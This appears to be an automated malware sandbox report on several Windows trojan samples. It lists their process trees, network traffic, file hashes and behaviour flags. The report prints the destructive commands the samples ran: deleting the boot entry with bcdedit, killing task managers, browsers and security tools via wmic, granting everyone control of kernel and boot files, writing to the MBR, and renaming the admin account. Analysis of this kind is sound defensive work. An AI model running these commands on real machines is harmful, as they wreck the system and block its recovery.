"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4080 --field-trial-handle=2252,i,16504368816373493055,9578615028378602855,262144 --variations-seed-version /prefetch:8

C:\Windows\Temp\winconfig.exe

"C:\Windows\Temp\winconfig.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\A728.tmp\A739.tmp\A73A.bat C:\Windows\Temp\winconfig.exe"

C:\Users\Admin\AppData\Roaming\DetectKey.exe

"C:\Users\Admin\AppData\Roaming\DetectKey.exe"

C:\Windows\system32\bcdedit.exe

bcdedit /delete {current}

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='mmc.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='PartAssist.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='control.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='Security Task Manager.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='Security Task Manager Protable.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='CCleaner.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='procexp.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='procexp64.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='procexp64a.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='regedit.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='iexplore.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='chrome.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='firefox.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='opera.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='edge.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='msedge.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='brave.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='wmplayer.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='notepad.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='notepad++.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\taskmgr.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\hal.dll"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\winload.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\ntoskrnl.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\perfmon.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\resmon.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\logonui.exe

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\taskkill.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\tasklist.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\tskill.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\logonui.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Program Files\Process Hacker 2"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\System32\drivers"

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\hal.dll" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\winload.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\logonui.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\resmon.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\tskill.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Program Files\Process Hacker 2" /q /c /t /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\System32\drivers" /q /c /t /grant "everyone":F

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\hal.dll" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\logonui.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\resmon.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\tskill.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Program Files\Process Hacker 2" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\System32\drivers" /grant "everyone":F

Network

Country Destination Domain Proto
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 13.107.253.64:443 tcp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 45.56.20.217.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 206.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 177.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 201.64.52.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp

Files

C:\Windows\Temp\winconfig.exe

MD5 11d457ee914f72a436fa4a8a8f8446dd
SHA1 d0308ca82ed9716b667e8e77e9ae013b9af44116
SHA256 c55e98b21e7e8639d4a6702de75bccc47b337bc639ea33231a507946f74964ef
SHA512 4c861cb0fa7170d6c71e11b3a826d1802ff0f9d029cfefa7428655929d5bab4bf56abeeb963e4927def3e959f2d4a0f199c8c3bf3ecbef8885189a52eeef666b

C:\Users\Admin\AppData\Local\Temp\A728.tmp\A739.tmp\A73A.bat

MD5 a645734f3bf4a2682cbaf546789ec0c4
SHA1 fafcc11909412bf51f217e12dfaa93a15181a3e2
SHA256 3b9b5b1659a881d15962541fb56638379a6e5b5d02435f8c50574ec003bc64b0
SHA512 efa399503b982eda2058a70b10289275fe3c51280bdbb649be40cc3f17c6085267236dc0f6f8bbbf782105e6f5510e6dbbd97de8e87113abc1d8c340ccad9a6d

C:\Users\Admin\AppData\Roaming\DetectKey.exe

MD5 aba9a3cf4e1db4602c25405987b809a6
SHA1 6cd545ea023ce9cdfe76607c6801cc11ff7d9e80
SHA256 490df924cadff4806ad1c1a261c71f7e06320826eda532394462e7ee32c570d6
SHA512 e5a9e28549bab93f5cf2464707b3b46859271dea16f69e8757b00f79989b2665d3b9bc3d9794d1d9e1111f8ee03ecb933f1fadfcd2adeb695dc0fce0b8f90675

C:\Users\Admin\AppData\Roaming\DetectKey.exe

MD5 cb2d77ba014f0a9d55dd30799287a316
SHA1 f4c1f4846e8367d04a3a8c151ebc78ec2ecff71c
SHA256 d62af5baf48e4227736e586b039eac6b8cab2a118fced8d2738e271f343ce6d8
SHA512 e4ee6685057104bf7e41290842b310550325fc635d99cd0c1fd15a56dfcc85bafe845d5e923b1279c061f45bf40ecb770447d7c414729e40b5ec91f46c283eef

Analysis: behavioral16

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:26

Platform

win10v2004-20240226-en

Max time kernel

7s

Max time network

46s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 3924 -ip 3924

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3924 -s 492

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 8.8.8.8:53 202.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp

Files

N/A

Analysis: behavioral5

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:24

Platform

win7-20240221-en

Max time kernel

53s

Max time network

64s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe"

Signatures

Disables Task Manager via registry modification

evasion

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\Q: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\L: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\Y: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\B: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\P: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\V: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\W: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\A: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\J: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\S: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\G: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Modifies WinLogon

persistence
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0" C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000\Control Panel\Desktop\Wallpaper C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\txtfile\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\icon.ico" C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2568 wrote to memory of 2412 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe C:\Windows\SysWOW64\cmd.exe
PID 2568 wrote to memory of 2412 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe C:\Windows\SysWOW64\cmd.exe
PID 2568 wrote to memory of 2412 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe C:\Windows\SysWOW64\cmd.exe
PID 2568 wrote to memory of 2412 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe C:\Windows\SysWOW64\cmd.exe
PID 2412 wrote to memory of 2864 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2412 wrote to memory of 2864 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2412 wrote to memory of 2864 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2412 wrote to memory of 2864 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2412 wrote to memory of 628 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2412 wrote to memory of 628 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2412 wrote to memory of 628 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2412 wrote to memory of 628 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2412 wrote to memory of 2888 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2412 wrote to memory of 2888 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2412 wrote to memory of 2888 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2412 wrote to memory of 2888 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2412 wrote to memory of 2644 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2412 wrote to memory of 2644 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2412 wrote to memory of 2644 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2412 wrote to memory of 2644 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2412 wrote to memory of 436 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe
PID 2412 wrote to memory of 436 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe
PID 2412 wrote to memory of 436 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe
PID 2412 wrote to memory of 436 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\windl.bat""

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im explorer.exe

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im taskmgr.exe

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' set FullName='UR NEXT'

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' rename 'UR NEXT'

C:\Windows\SysWOW64\shutdown.exe

shutdown /f /r /t 0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x1

Network

N/A

Files

memory/2568-0-0x0000000074D00000-0x00000000753EE000-memory.dmp

memory/2568-1-0x00000000003E0000-0x0000000000A8E000-memory.dmp

memory/2568-2-0x0000000005260000-0x00000000052A0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\windl.bat

MD5 a9401e260d9856d1134692759d636e92
SHA1 4141d3c60173741e14f36dfe41588bb2716d2867
SHA256 b551fba71dfd526d4916ae277d8686d83fff36d22fcf6f18457924a070b30ef7
SHA512 5cbe38cdab0283b87d9a9875f7ba6fa4e8a7673d933ca05deddddbcf6cf793bd1bf34ac0add798b4ed59ab483e49f433ce4012f571a658bc0add28dd987a57b6

memory/2568-15-0x0000000005260000-0x00000000052A0000-memory.dmp

memory/2568-16-0x0000000000C20000-0x0000000000C2A000-memory.dmp

memory/2568-17-0x0000000000C20000-0x0000000000C2A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\rniw.exe

MD5 9232120b6ff11d48a90069b25aa30abc
SHA1 97bb45f4076083fca037eee15d001fd284e53e47
SHA256 70faa0e1498461731f873d3594f20cbf2beaa6f123a06b66f9df59a9cdf862be
SHA512 b06688a9fc0b853d2895f11e812c48d5871f2793183fda5e9638ded22fc5dc1e813f174baedc980a1f0b6a7b0a65cd61f29bb16acc6dd45da62988eb012d6877

C:\Users\Admin\AppData\Local\Temp\v.mp4

MD5 d2774b188ab5dde3e2df5033a676a0b4
SHA1 6e8f668cba211f1c3303e4947676f2fc9e4a1bcc
SHA256 95374cf300097872a546d89306374e7cf2676f7a8b4c70274245d2dccfc79443
SHA512 3047a831ed9c8690b00763061807e98e15e9534ebc9499e3e5abb938199f9716c0e24a83a13291a8fd5b91a6598aeeef377d6793f6461fc0247ec4bbd901a131

memory/2568-26-0x000000006BF70000-0x000000006C282000-memory.dmp

memory/2568-27-0x0000000005140000-0x000000000514A000-memory.dmp

memory/2568-28-0x0000000005140000-0x000000000514A000-memory.dmp

memory/2568-29-0x0000000005140000-0x000000000514A000-memory.dmp

memory/2568-30-0x0000000005240000-0x000000000524A000-memory.dmp

memory/2568-31-0x0000000005240000-0x000000000524A000-memory.dmp

memory/2568-33-0x0000000005250000-0x000000000525A000-memory.dmp

memory/2568-32-0x0000000005240000-0x000000000524A000-memory.dmp

memory/2568-34-0x0000000004880000-0x0000000004881000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\text.txt

MD5 9037ebf0a18a1c17537832bc73739109
SHA1 1d951dedfa4c172a1aa1aae096cfb576c1fb1d60
